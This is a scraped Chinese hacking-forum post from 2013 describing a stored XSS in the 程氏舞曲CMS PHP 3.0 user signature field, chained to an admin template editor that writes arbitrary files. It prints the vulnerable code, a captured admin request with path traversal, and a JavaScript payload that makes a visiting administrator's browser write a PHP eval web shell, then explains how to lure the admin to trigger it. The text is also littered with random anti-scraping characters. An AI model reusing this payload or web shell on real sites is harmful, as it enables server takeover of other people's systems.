找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2226|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题- M9 u# k1 U8 z3 Z; ~5 I
官网已经修补了,所以重新下了源码" L) G" @$ p/ y- b2 w! r
因为 后台登入 还需要认证码 所以 注入就没看了。
; o' [* _5 i5 P1 ?存在 xss- T$ B5 }) w; O+ t( i* a3 F! x
漏洞文件 user/member/skin_edit.php
4 \; ]" m$ h' X3 ^) i2 H8 \7 E本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
- }* E8 v2 J5 K+ G5 `8 ^  ) u+ H, V, V, W; y  l& _% G
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>8 x( I) r( F4 Y  J/ Y
  
$ g8 L4 S- C3 j& ]+ z; o- |" w</textarea></td></tr>( C( Q2 a) ~* G9 p' E
  
3 u* C# J+ T# v- I1 V  ~             user/do.php
2 p( A! q  L. l8 M( q6 O
( A& _" w( [4 q* n; u0 O- j7 ?1 z, `# y4 D$ [. Y# S! M
if($op=='zl'){ //资料- x' I) x5 o+ y  [7 ~9 T4 r, h& {
  
  j" `* e; D% h             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) 7 |5 [+ J1 Z5 b% G* B5 Z' v
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));- u* |% Z4 c3 n0 G) p
  
, O5 Y' `9 R0 [7 [" N             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
9 i) S0 Z0 W9 a; }  
; r; y3 H; i) n2 G             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
8 J' x) B# I3 y8 _             where CS_Name='".$cscms_name."'";
) B- K4 S8 u9 j4 s% q. u& x2 F) P  
+ E- [* I$ e8 r8 b$ z             if($db->query($sql)){+ H( u) I! E0 b& r  c! K2 v5 F
  
9 I1 W6 C& P8 R) Y1 {              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
8 _; [7 r$ ?/ H; T  
% M( E  d' l8 P( |+ \1 S) R# H             }else{
7 O" S/ ]" m5 r* D1 S  i  
4 k9 j0 {1 R* `# Q6 H/ f& S3 d              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
9 ^& B% m  t4 U8 D4 p# e  
4 ^7 P, C; U1 _, ~  Z% n+ s% K/ }             }
6 F$ m% [! o0 w' q
; x8 R: Y* S5 q4 \
- ]% [: i! X: z1 R没有 过滤导致xss产生。
% b' i7 @5 R' k# x  m后台 看了下 很奇葩的是可以写任意格式文件。。- i: U% c  L$ o
抓包。。+ Q! k3 a8 q8 J7 ^  u. D& Y" Z
  e6 B- u. d$ |6 x) Q
" q$ w% f. b) |% |( N' `! |( c1 ^
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
6 k9 k4 F1 E$ w# `3 G5 S  
' c; y; E- o. t4 R( q% kAccept: text/html, application/xhtml+xml, */** P0 s/ K" W: q, ~. T% ~8 A. q* b
  
, `; Z1 R/ t* X/ v" r, y1 KReferer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php3 M# [7 k" [2 G
    G, I/ I$ I6 Y7 E0 K) b# O" T% @
Accept-Language: zh-CN# t$ ?! y$ C5 M
  
7 u# O& `/ m! Y4 k0 R( m5 FUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)3 F! U* L! G. r, J! }+ F. m4 K" i" V; D
  
0 }1 T' J- B2 sContent-Type: application/x-www-form-urlencoded
* M& v6 L' V$ `9 ^2 R& c4 T# W  
4 \  Y$ Y' Q* c: }Accept-Encoding: gzip, deflate
. O0 k4 Y* q% b5 E3 G/ ^  
) u# }4 N3 P5 J2 K" [Host: 127.0.0.1
7 U+ O  b; U) [! [  
7 K6 g& f8 x: O) UContent-Length: 38
5 C& O! O7 D4 O9 c8 D# k" T  : @9 D1 g2 X0 j: B9 d6 v
DNT: 17 ?  r6 X$ K% L  Q: U. Z
  0 T4 p5 R0 }, w6 ^/ l
Connection: Keep-Alive
  v, J, r9 J- ?) M" v! i  
! n9 ~. y% i; p: t5 ]: ~3 L1 DCache-Control: no-cache3 v( x0 ^- N2 f! A' z
  2 a! F) W# _, t: k
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594! C2 H9 o0 [. L4 G( N  S6 G  w
  ) z2 Q" q0 ~$ D

; c5 }* H8 _) J9 |" Rname=aaa.php&content=%3Cs%3E%3Ca%25%3E
3 n! C9 G+ G3 K. m" _2 S' k, [% o* [4 l# H. ?/ o8 ?5 S

* ^: d2 z: n1 P7 S2 Z7 K1 ]# \- K! t) Y( Q2 E2 j* P- @% ]* N' r, o
于是 构造js如下。
8 C6 l" u9 V; Q1 l, n; N4 d. v! x+ K+ ]3 J" i4 |0 N
本帖隐藏的内容<script>
/ `1 {! y8 y4 m0 ]' G/ p' e9 Y5 X0 HthisTHost = top.location.hostname;; h9 j4 i: b1 L% O1 n
  
9 n* M, |- f  E8 N4 z3 bthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";. {/ [/ U3 ~1 ^) z9 [% P( R8 O
  6 G) g7 p  L! J% g
function PostSubmit(url, data, msg) {
" G8 H7 l0 b3 y    var postUrl = url;4 u2 T6 y9 x* W8 K0 Y# p# {
  5 i, a; @$ P5 o
    var postData = data; 5 l% y% A5 u/ [& P) b
    var msgData = msg;
+ [4 q/ V, F0 K# e+ T4 c( B4 I1 S    var ExportForm = document.createElement("FORM"); / J, m) Y' p8 n+ D
    document.body.appendChild(ExportForm); # @7 }' Z3 }  o8 y' s4 x- G. W* C
    ExportForm.method = "POST";
: z' h8 `- I$ J% L( l    var newElement = document.createElement("input"); # G& Y4 T# E& Y0 x4 n
    newElement.setAttribute("name", "name"); ) e4 ~+ s( E7 b, |* ]
    newElement.setAttribute("type", "hidden");
* P: M4 [$ a. n' S    var newElement2 = document.createElement("input");
& E4 n+ t3 U# [. C8 H    newElement2.setAttribute("name", "content"); 2 X1 c0 U5 m% E6 g6 j# X
    newElement2.setAttribute("type", "hidden"); 9 D- U6 H: {: o9 z8 t+ F  n# t2 s
    ExportForm.appendChild(newElement); / N8 }" }$ z0 p/ k2 A. ?  S
    ExportForm.appendChild(newElement2); 2 D( s; B% }9 {+ G4 W
    newElement.value = postData; 7 Z% a7 s+ w5 A& A5 ~3 U8 \' b
    newElement2.value = msgData; ; I) _% S" G0 ^) G0 |6 A+ a
    ExportForm.action = postUrl; ; J, I$ p) ?* B1 e4 K
    ExportForm.submit(); * p4 m1 k" @$ p; e$ w2 l+ q
};  g) |# u3 c2 i$ ?
  
& ?# A, k4 A& q. @: r$ GPostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
5 n* {* u6 O: M; \: @  
8 O) N# y3 X9 [& j" [</script># h. ]& O8 m% g/ r- @

0 I: h' N7 E6 C1 Y+ W6 Q* `& q" g: g  u' ]3 [( m, P* u: R5 f

9 O7 u: k5 L8 Qhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
+ X# k8 ~3 V3 B' U: q2 Y用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
" t0 I* X- G- @* c( P# _; m就会 在 skins\index\html\目录下生成 roker.php 一句话。
8 N! u: u1 H; W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表